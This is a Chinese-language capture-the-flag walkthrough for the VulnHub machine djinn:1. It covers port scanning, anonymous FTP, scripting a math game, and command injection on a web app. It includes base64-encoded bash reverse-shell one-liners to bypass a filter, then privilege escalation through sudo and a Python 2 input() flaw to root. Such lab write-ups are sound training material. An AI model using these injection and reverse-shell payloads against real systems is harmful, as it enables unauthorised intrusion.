靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

简介: 靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

下载地址

https://www.vulnhub.com/entry/djinn-1,397/

环境搭建

VirtualBox

靶机Hack djinn:1 : walkthrough:192.168.56.104

信息收集

存活IP扫描(py脚本扫描)

640.png

发现靶机IP为192.168.56.104

端口扫描(Nmap)


nmap -sS -sV -T5 -A -p- 192.168.56.104

640.png

发现21,1337,7331端口开放,22端口过滤状态

21端口

ftp命令大全:http://imhuchao.com/323.html

匿名登录常用的账号密码

    anonymous/空主机的IP地址/空自己的e_mail地址/空节点自的IP地址/空admin/空administrator/空

    使用anoymous/空,成功登录

    640.png

    mget *.* 下载当前目录下的所有文件,本地进行查看

    640.png

    匿名账户登录ftp下载并查看三个txt

    creas.txt,一组用户名密码:nitu:81299

    game.txt,提示在1337端口有个游戏

    message.txt,要去度假,叫nitish81299照顾好工作

    1337端口

    使用浏览器访问了一下,无法访问

    640.png

    telnet访问

    做一些加减乘除的运算,还必须得做完1000次,需要一个脚本,盘它

    640.png

    python脚本


    from pwn import *
    c = remote('192.168.56.104',1337)
    c.recvuntil("\n\n", drop=True)
    for i in range(1001):
        c.recvuntil("(", drop=True)    int1 = c.recvuntil(",", drop=True)
        c.recvuntil("'", drop=True)    mathsym = c.recvuntil("'", drop=True)
        c.recvuntil(", ", drop=True)    int2 = c.recvuntil(")", drop=True)
        equation = int1+mathsym+int2    print(str(i)+"th answer= "+str(equation))
        c.sendlineafter('>',equation)
    c.interactive()

    算出来的结果1356、6784、3409,看不出来有啥用处

    640.png

    7331端口

    nmap扫描之后发现7331端口是HTTP服务,界面如下

    640.png

    对它进行目录扫描(webdirscan)

    640.png

    发现有两个目录 wish和genie对其进行查看


    640.png


    可能存在系统命令执行漏洞,经过测试,输入id,成功返回,存在系统命令执行漏洞

    640.png

    漏洞利用

    利用系统命令执行漏洞反弹shell

    Bash反弹,一直反弹不出来


    bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

    猜测是过滤了某些字符

    Bypass一些命令注入限制的姿势

    https://xz.aliyun.com/t/3918

    https://github.com/swisskyrepo/PayloadsAllTheThings

    经过测试,base64编码就可绕过

    base64在线编码,解码

    https://www.bt.cn/tools/encrybase.html

    nc监听1234端口

    640.png

    执行如下命令:


    echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8xMjM0IDA+JjE=| base64 -d|bash

    成功反弹shell,权限是www-data


    640.png


    获取shell之后要做的第一件事是获取一个tty,不然有些命令是无法执行的

    python获取tty


    python -c 'import pty;pty.spawn("/bin/bash")'  # 有些没有安装Python2,所以需要换成python3 -c

    查看 etc/passwd发现有两个用户sam和nitish

    640.png

    在/home/nitish目录下找到user.txt文件,查看没有权限,无法查看,需要提权

    08961b23eecddd6e0fbca7ba53bfac04.png

    提权

    提权(nitish)

    在opt/80目录下查看所有文件,发现有几个py文件,查看app.py文件,发现过滤cmd的方法和一个文件

    cf38fb934c05118246e956838ca59e4e.png

    进行访问,发现是nitish的账号和密码文件


    /home/nitish/.dev/creds.txt

    发现nitish的账号密码

    账号/密码:nitish/p4ssw0rdStr3r0n9

    利用su进行提权,输入账号,密码得到nitish权限

    fb3a236eae8141061951ea7dadd9e1a5.png


    查看user.txt得到第一个flag

    提权(root)

    查找sudo权限命令:sudo -l

    4771e3b5c971194c89f3c971144e697c.png

    sudo -u sam /usr/bin/genie -h 查看下使用说明,发现可以通过这个可执行文件得到一个shell,应该输入什么样的参数才能获得sam用户的shell

    56a9499a2745ed0412b69a26ac834d41.png

    man /usr/bin/genie查看一下使用帮助

    man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。

    ddc66ef06fd5a6c4b1089a6ee7f93a9c.png

    afbce090abfe19e0b727d45f0c1dcf0e.png

    genie可以完成你所有的愿望,甚至可以提升你的权限


    执行了sudo -u sam /usr/bin/genie -p"/bin/sh",没有得到sam的shell执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限

    aeef7bdde3d1f2fbdce3d3e2a6b6b72e.png

    提权到了sam用户,再次执行sudo -l得到如下内容

    52d2181495336337dbcdbeb0c7d33a27.png

    执行sudo -u root /root/lago出现一个选择题,无论我们输入什么都不对

    d92cb5cba21a3c67e16c4147b1a4f95d.png

    读取文件也是没有权限(哎)

    使用find / -writable -type f 2>/dev/null查找可写文件

    发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意

    a966476cf473d8defe7268ae616c1918.png

    .pyc文件进行读取查看

    4c4ec558eee4a2e2a93fa7a0e7d14e2d.png

    整理出里面的内容主要内容如下


    Working on it!!Choose a number between1 to 100: sEnter your number:Better Luck next timeEnter the full of thefile to read: s!User %s is not allowed to readWhat do you want to do ?Be naughtyGuess the numberRead some damn fileEnter your choice:work your ass off!!

    这些话你之前是不是都看到过?就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,看/home/sam/.pyc里面也有这样的描述

    把该文件下载到本地进行反编译

    靶机上有python环境,在改文件目录下使用 python开启一个http服务,下载到本地


    python -m SimpleHTTPServer 8000

    4fc57ac609d586ba208d5f84038e0b65.png


    python反编译在线

    https://tool.lu/pyc

    反编译的代码如下


    #!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationfrom getpass import getuserfrom os import systemfrom random import randintdef naughtyboi():    print 'Working on it!! 'def guessit():    num = randint(1, 101)    #num=1    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'def readfiles():    user = getuser()    path = input('Enter the full of the file to read: ')    print 'User %s is not allowed to read %s' % (user, path)def options():    print 'What do you want to do ?'    print '1 - Be naughty'    print '2 - Guess the number'    print '3 - Read some damn files'    print '4 - Work'    choice = int(input('Enter your choice: '))    return choicedef main(op):    if op == 1:        naughtyboi()    elif op == 2:        guessit()    elif op == 3:        readfiles()    elif op == 4:        print 'work your ass off!!'    else:        print 'Do something better with your life'if __name__ == '__main__':    main(options())

    python input()漏洞

    Python 2.x 中有两种常用的方法来接收输入:

    1、使用输入()功能:此功能需要您输入的输入值和类型,因为它是在不修改任何类型。

    2、使用raw_input() 函数:该函数将您提供的输入显式转换为字符串类型

      s1 =raw_input("Enter input to testraw_input() function: ")printtype(s1)
      s2 =raw_input("Enter input to testraw_input() function: ")printtype(s2)
      s3 =raw_input("Enter input to testraw_input() function: ")printtype(s3)
      s4 =input("Enter input to testinput() function: ")printtype(s4)
      s5 =input("Enter input to testinput() function: ")printtype(s5)
      s6 =input("Enter input to testinput() function: ")printtype(s6)

      输入

        你好456[1,2,3]45“再见”[1,2,3]

        输出

          Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>
          Enter input totest input () 函数:<type ' int '>Enter inputtotest input() function: <type ' str '>Enter input to testinput() function: <type ' list '>

          可以看到使用raw_input()无论输入什么都是str字符串类型,input()输入要想输入”你好”必须要用引号不然会报错。也就是说如果input()输入一个变量返回也就是变量的值,不是一个”secret_number”字符串,raw_input()输入一个变量输出也就是个”secret_number”字符串,如下代码:

            import randomsecret_number = random.randint(1,500)print "pick a number between 1 to 500"while True:    res = input("Guess the number:")#输入secret_number#print(secret_number)    #res = raw_input("Guess thenumber: ")#输入secret_number#print(secret_number)if res==secret_number:        print "You win"        break    else:        print "You lose"        continue

            input(secret_number)会输出you win

            raw_input(secret_number)会输出you lose

            输入2,在输入num就提权到了root权限啦,得到第二个flag。

            7f963dd0b6d28e84e746919e5d742dfa.png

            8dbf127c8efa0ccdc10573cc615dc38c.pngc4addd82ad3fe38f0ca78888b6758135.png


            倏忽温风至,因循小暑来。洋湖有清风,可以消烦暑。城市的浮热,在原上的浓阴下散去。

            相关文章
            |
            3月前
            |
            存储 安全 网络协议
            Metasploit6.0系列教程 -- MSF术语
            Metasploit6.0系列教程 -- MSF术语
            22 0
            |
            7月前
            |
            安全 Oracle 机器人
            看完这篇 教你玩转渗透测试靶机Vulnhub——Mr-Robot :1
            看完这篇 教你玩转渗透测试靶机Vulnhub——Mr-Robot :1
            68 0
            |
            12月前
            |
            安全 Shell C语言
            VulnHub通关日记-DC_5-Walkthrough
            LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root
            |
            存储 安全 Shell
            VulnHub-DarkHole-2 Walkthrough WP
            VulnHub-DarkHole-2 Walkthrough WP
            125 0
            |
            Python Windows
            【靶机】hackpack
            本靶机有一定难度,适合进阶的小伙伴进行练习,初学者也可以参考学习。
            119 0
            |
            数据采集 安全 Oracle
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox3(Easy)
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox3(Easy)
            270 0
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox3(Easy)
            |
            安全 Oracle 关系型数据库
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox10(Under Construction)
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox10(Under Construction)
            162 0
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox10(Under Construction)
            |
            安全 Oracle 关系型数据库
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox5(NEXT LEVEL)
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox5(NEXT LEVEL)
            201 1
            看完这篇 教你玩转渗透测试靶机vulnhub——FunBox5(NEXT LEVEL)
            |
            安全 Shell Linux
            【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK
            给自己定了个小目标,从今天开始进行24次系统性打靶训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第一次打靶训练
            258 0
            【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK
            |
            网络协议 Shell Linux
            【VulnHub靶场】——EMPIRE: BREAKOUT
            今天写一份EMPIRE: BREAKOUT靶场教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索EMPIRE: BREAKOUT就能下载今天的靶场了
            224 0
            【VulnHub靶场】——EMPIRE: BREAKOUT